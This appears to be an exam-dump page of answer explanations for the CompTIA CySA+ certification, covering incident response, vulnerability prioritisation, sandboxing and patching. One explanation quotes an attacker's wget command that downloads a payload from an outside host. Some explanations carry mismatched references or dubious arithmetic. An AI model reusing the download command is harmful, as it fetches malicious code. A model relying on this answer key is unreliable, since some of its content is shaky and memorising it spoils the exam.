CS0-003 Exam Dumps - CompTIA CySA+ Questions and Answers

The next action that the CSIRT should conduct after isolating the compromised server from the network is to take a snapshot of the compromised server and verify its integrity. Taking a snapshot of the compromised server involves creating an exact copy or image of the server’s data and state at a specific point in time. Verifying its integrity involves ensuring that the snapshot has not been altered, corrupted, or tampered with during or after its creation. Taking a snapshot and verifying its integrity can help preserve and protect any evidence or information related to the incident, as well as prevent any tampering, contamination, or destruction of evidence.

The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.

The vulnerability with the highest CVSS score and an active exploit is Microsoft CVE-2021-34527 (PrintNightmare). Although only present on two instances, its high severity (8.4) and exploitable nature make it a priority. PrintNightmare is a well-known remote code execution vulnerability, which can be a critical risk. According to CompTIA CySA+ and vulnerability management practices, prioritizing based on severity and exploitability is essential, even over the number of instances. Other vulnerabilities listed are less severe or lack active exploitation.

A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or data sources into one dashboard or console. A single pane of glass can help improve security operations by providing visibility, correlation, analysis, and alerting capabilities across various security controls and systems. A single pane of glass can also help reduce complexity, improve efficiency, and enhance decision making for security analysts. In this case, a security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM, which provides a single pane of glass for security operations. Official References: https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack

Comprehensive and Detailed Explanation From Exact Extract:

To “test” links/attachments before they reach the mail server, the organization needs a control that can execute or detonate suspicious content in a controlled environment and observe behavior. That is exactly what sandboxing does.

Secbay Press defines sandboxing as executing suspicious files/applications in a virtualized environment to observe behavior (i.e., safe testing/detonation):

Exact extract (Secbay Press): “Joe Sandbox is a malware analysis platform that utilizes virtualized environments (sandboxing) to execute and observe the behavior of suspicious files or applications.”

The official CS0-003 objectives list Sandboxing (Joe Sandbox / Cuckoo Sandbox) under tools used to determine malicious activity, aligning with the exam’s expectation that sandboxing is used to analyze suspicious content.

Why the other choices are not correct:

B (MFA): helps protect accounts, but doesn’t “test” attachments/links.

C (DKIM): authenticates sender domain and message integrity, but doesn’t detonate or test payloads.

D (Vulnerability scan): targets hosts/services/configurations, not real-time detonation of email attachments/links.

References (CompTIA CySA+ CS0-003 documents / study guides used):

Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): sandboxing executes/observes suspicious files in a virtualized environment

CompTIA CySA+ CS0-003 Exam Objectives v4.0: includes sandboxing tools (Joe Sandbox, Cuckoo Sandbox)

Chapple/Seidl, CompTIA CySA+ Study Guide (CS0-003): DKIM is for verifying sender/domain integrity, not payload testing

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Host03 should be patched first, based on the metrics, as it has the highest risk score and the highest number of critical vulnerabilities. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Host03 has a risk score of 10 x 0.9 = 9, which is higher than any other host. Host03 also has 5 critical vulnerabilities, which are the most severe and urgent to fix, as they can allow remote code execution, privilege escalation, or data loss. The other hosts have lower risk scores and lower numbers of critical vulnerabilities, so they can be patched later.

The next step in the remediation process after applying a software patch is validation. Validation is a process that involves verifying that the patch has been successfully applied, that it has fixed the vulnerability, and that it has not caused any adverse effects on the system or application functionality or performance. Validation can be done using various methods, such as scanning, testing, monitoring, or auditing.

The analyst should focus on the impact of the events in order to move the incident forward. Impact is the measure of the potential or actual damage caused by an incident, such as data loss, financial loss, reputational damage, or regulatory penalties. Impact can help the analyst prioritize the events that need to be investigated based on their severity and urgency, and allocate the appropriate resources and actions to contain and remediate them. Impact can also help the analyst communicate the status and progress of the incident to the stakeholders and customers, and justify the decisions and recommendations made during the incident response12. Vulnerability score, mean time to detect, and isolation are all important metrics or actions for incident response, but they are not the main focus for moving the incident forward. Vulnerability score is the rating of the likelihood and severity of a vulnerability being exploited by a threat actor. Mean time to detect is the average time it takes to discover an incident. Isolation is the process of disconnecting an affected system from the network to prevent further damage or spread of the incident34 . References: Incident Response: Processes, Best Practices & Tools - Atlassian, Incident Response Metrics: What You Should Be Measuring, Vulnerability Scanning Best Practices, How to Track Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR) to Cybersecurity Incidents, [Isolation and Quarantine for Incident Response]

The key goal of the containment stage in an incident response process is to limit further damage from occurring. This involves taking immediate steps to isolate the affected systems or network segments to prevent the spread of the incident and mitigate its impact. Containment strategies can be short-term, to quickly stop the incident, or long-term, to prepare for the eradication and recovery phases.

USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems. The first step to mitigate this vulnerability is to check the configurations of the company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and reduce the attack surface. The other options are also important, but they are not the first priority in this scenario.